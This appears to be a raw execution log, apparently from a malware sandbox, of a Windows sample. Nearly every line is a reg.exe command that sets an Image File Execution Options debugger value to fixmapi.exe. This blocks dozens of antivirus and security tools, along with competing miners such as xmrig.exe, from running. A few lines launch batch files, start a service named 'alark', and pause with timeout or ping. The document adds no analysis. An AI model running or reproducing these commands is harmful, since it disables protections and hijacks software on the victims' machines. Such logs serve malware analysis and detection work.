  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\a2service.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\cmd.exe' /c ""%WINDIR%\clrinst.bat" "
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QHWatchdog.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QHActiveDefense.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Mrolsmc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchsot.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SDUpdSvc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CpService.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wintmr.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\webtmr.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\traysser.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winIogon.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Desktop Locker.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ipts.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svshost.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\jozruq.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Q.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wqscmc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\server.dat" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Smc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\timeout.exe' 4 /NOBREAK
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BaiduAnTray.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BDALeakfixer.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BaiduAnSvc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BDdaSvc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Go.EXE" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BDMiniDlUpdate.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PsCtrlC.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchost.dll" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchose.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\kvpncsvc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\elogsvc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Njeeves.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Zanda.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bddownloader.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Zlh.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BurstTCPClient.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\trayeser.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SH4Service.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SpyHunter4.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinCtrProc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsasvc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\hkcmd.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xstartui.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svcnoct.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mqsgmo.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\System32.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tcpzaw.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\csrcs.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\clamd.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\consctl.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Isass.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\econceal.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ESERV.EXE" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\econser.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PRTG Traffic Grapher.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\prtgwatchdog.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\USBGuard.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\syshost.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netupdsrv.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ybrwicon.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cputest.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\smcc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nethtsrv.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winlogn.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\net.exe' start alark
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windows.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Service.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sys.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PSUAMain.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\skrolls.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BrowserManagerShow.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BrowserManager.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BrowserManagerGUI.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360tray.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\jixlea.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\ping.exe' 127.0.0.1 -n 4
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KasAVSrv.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ByteFence.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lass.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Terms.EXE" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\scclient.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Nip.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchots.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Project1.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpkL64.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\cmd.exe' /c start %WINDIR%\miter.exe -t3010 %WINDIR%\sysclr.bat
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MPK.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SDUpdate.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QHSafeTray.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mbarw.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mbamscheduler.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\net1.exe' start alark
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MBAMService.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svcohst.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Nsesvc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Javaj.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KMS-R@1n.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QQLiveService.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ASCTray.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DriverBooster.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\IMF.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\IMFsrv.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\IMFTips.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\uninst.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mwse.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ErrorCheck.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ErrorsChecking.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KMS-R@1nHook.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QQProtect.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ASCService.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Antivirus_Free_Edition_x86.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\InstantSupport.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mmon32.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AdAwareService.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Security.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vsserv.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\indexer.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SBAMTray.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SBAMSvc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explores.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TINY.EXE" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\hitleap-viewer-browser.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\hitleap-viewer.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\splwowc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BullGuardScanner.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BullGuardBhvScanner.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cavwp.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wuauser.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Conime.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xmrig.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windrws.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\win-api.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bcn.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VVUDFHost.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemDriveHost.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TaskManagerService.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Taskmrg.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\brosec.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KSafeTray.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\ping.exe' 127.0.0.1 -n 1
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cbVSCService11.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mine_mx.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\UI0detect.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
  • '%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\eset_antivirus.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
